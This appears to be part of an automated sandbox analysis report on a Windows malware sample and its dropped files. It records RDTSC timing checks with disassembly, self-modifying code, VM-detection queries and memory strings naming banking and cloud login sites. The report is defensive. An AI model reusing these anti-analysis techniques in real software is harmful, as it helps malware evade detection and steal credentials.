Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5470B67 second address: 5470BCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0550D663D2h 0x00000008 pop eax 0x00000009 jmp 00007F0550D663CBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov edx, 765D2A16h 0x0000001a pushfd 0x0000001b jmp 00007F0550D663D7h 0x00000020 or esi, 704F269Eh 0x00000026 jmp 00007F0550D663D9h 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6507C second address: C65086 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0550733D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 545002C second address: 5450044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450044 second address: 5450058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 00953D0Eh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450058 second address: 545009F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0550D663D0h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 jmp 00007F0550D663CEh 0x00000017 mov ecx, 2CFD4491h 0x0000001c popad 0x0000001d and esp, FFFFFFF0h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov al, dh 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 545009F second address: 54500CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 44h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0550733D17h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54500CD second address: 54500D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54500D3 second address: 54500D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54500D7 second address: 54501B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d jmp 00007F0550D663D4h 0x00000012 pushfd 0x00000013 jmp 00007F0550D663D2h 0x00000018 add ecx, 74361D08h 0x0000001e jmp 00007F0550D663CBh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 jmp 00007F0550D663CFh 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007F0550D663D0h 0x00000035 sbb esi, 67BAD298h 0x0000003b jmp 00007F0550D663CBh 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007F0550D663D8h 0x00000047 and ax, 7CF8h 0x0000004c jmp 00007F0550D663CBh 0x00000051 popfd 0x00000052 popad 0x00000053 xchg eax, esi 0x00000054 jmp 00007F0550D663D6h 0x00000059 push eax 0x0000005a jmp 00007F0550D663CBh 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54501B0 second address: 54501B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54501B4 second address: 54501B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54501B8 second address: 54501BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54501BE second address: 54501E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0550D663D7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54501E6 second address: 5450221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 pushfd 0x00000007 jmp 00007F0550733D10h 0x0000000c add ax, 3B48h 0x00000011 jmp 00007F0550733D0Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F0550733D0Bh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450221 second address: 545023E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 545023E second address: 5450285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 call 00007F0550733D13h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, edi 0x00000010 jmp 00007F0550733D0Fh 0x00000015 mov edi, dword ptr [ebp+08h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0550733D15h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450285 second address: 5450295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450295 second address: 5450329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+24h], 00000000h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F0550733D18h 0x00000017 xor cx, E728h 0x0000001c jmp 00007F0550733D0Bh 0x00000021 popfd 0x00000022 popad 0x00000023 lock bts dword ptr [edi], 00000000h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F0550733D0Bh 0x00000031 add esi, 1F83B06Eh 0x00000037 jmp 00007F0550733D19h 0x0000003c popfd 0x0000003d pushfd 0x0000003e jmp 00007F0550733D10h 0x00000043 xor esi, 1CD9FBE8h 0x00000049 jmp 00007F0550733D0Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450329 second address: 5450371 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushfd 0x00000007 jmp 00007F0550D663D0h 0x0000000c add si, 8E48h 0x00000011 jmp 00007F0550D663CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jc 00007F05C2A584A5h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F0550D663D5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5450371 second address: 54503D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550733D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b jmp 00007F0550733D0Ch 0x00000010 mov eax, 77F9AAA1h 0x00000015 popad 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007F0550733D0Fh 0x00000022 sub eax, 763B134Eh 0x00000028 jmp 00007F0550733D19h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 54503D1 second address: 5450439 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b jmp 00007F0550D663D5h 0x00000010 mov esp, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F0550D663D3h 0x0000001b add ah, FFFFFFBEh 0x0000001e jmp 00007F0550D663D9h 0x00000023 popfd 0x00000024 call 00007F0550D663D0h 0x00000029 pop eax 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440ADE second address: 5440AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440AE4 second address: 5440AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440AE8 second address: 5440B25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f pushfd 0x00000010 jmp 00007F0550733D15h 0x00000015 and ax, 5C36h 0x0000001a jmp 00007F0550733D11h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440B25 second address: 5440B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440B2B second address: 5440B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0550733D12h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: 5440B4A second address: 5440B5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0550D663CEh 0x00000009 rdtsc

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	Special instruction interceptor: First address: 640361 instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Special instruction interceptor: First address: 1403EC53C instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Special instruction interceptor: First address: C5792C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Special instruction interceptor: First address: C56809 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Special instruction interceptor: First address: C6B611 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Special instruction interceptor: First address: AB2B42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 43792C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 436809 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 44B611 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Special instruction interceptor: First address: 292B42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Special instruction interceptor: First address: 831206 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Special instruction interceptor: First address: 8C0C9D instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

Code function: 0_2_05470A9C rdtsc

0_2_05470A9C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1599	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1621	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1007	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window / User API: threadDelayed 1017	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Window / User API: threadDelayed 1656	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6237
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3521
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5977
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3731
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7455
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1994

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Dropped PE file which has not been started: C:\Windows\Temp\gvh50gjo_3616.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msvcr80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\altuninstall_test\msvcp80.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\altuninstall_test\msvcr80.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 8000	Thread sleep count: 60 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 8000	Thread sleep time: -120060s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 8004	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 8004	Thread sleep time: -100050s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7964	Thread sleep count: 266 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7964	Thread sleep time: -7980000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7996	Thread sleep count: 1599 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7996	Thread sleep time: -3199599s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7988	Thread sleep count: 1621 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7988	Thread sleep time: -3243621s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7980	Thread sleep count: 1007 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7980	Thread sleep time: -2015007s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7988	Thread sleep count: 1017 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7988	Thread sleep time: -2035017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7996	Thread sleep count: 86 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe TID: 7996	Thread sleep time: -172086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe TID: 8172	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe TID: 6976	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe TID: 5824	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe TID: 2792	Thread sleep count: 1656 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe TID: 5996	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3272	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1292	Thread sleep count: 6237 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3508	Thread sleep count: 3521 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 472	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe TID: 3008	Thread sleep time: -210000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe TID: 3012	Thread sleep count: 143 > 30
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe TID: 4192	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4916	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5696	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe TID: 5796	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C2FCDE FindFirstFileExW,	15_2_00C2FCDE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C2FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_00C2FD8F
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C2FCDE FindFirstFileExW,	17_2_00C2FCDE
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C2FD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_00C2FD8F

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: rapes.exe, rapes.exe, 0000000B.00000002.2466924239.0000000000418000.00000040.00000001.01000000.0000000A.sdmp, s7MG2VL.exe, s7MG2VL.exe, 0000000C.00000002.2091813340.0000000000813000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: svchost.exe, 0000001F.00000002.2475234152.000001DBE2877000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: eAzoDbY.exe, 00000019.00000003.2104615642.0000000001528000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2000519254.000000000152F000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2234976665.0000000001528000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2145654983.0000000001528000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWs
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001347000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2089689153.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2006495167.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2059422413.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2005615609.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000002.2092842281.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2090492021.0000000001384000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000002.2470317252.000000000102C000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2019127027.000000000105D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: yo7qmvz.exe, 00000023.00000003.2174563530.000000000337A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: 8sb9w_003.exe, 0000001C.00000002.2039794527.00000000007DE000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2199120701.00000000004B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: yo7qmvz.exe, 00000023.00000003.2174563530.0000000003374000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
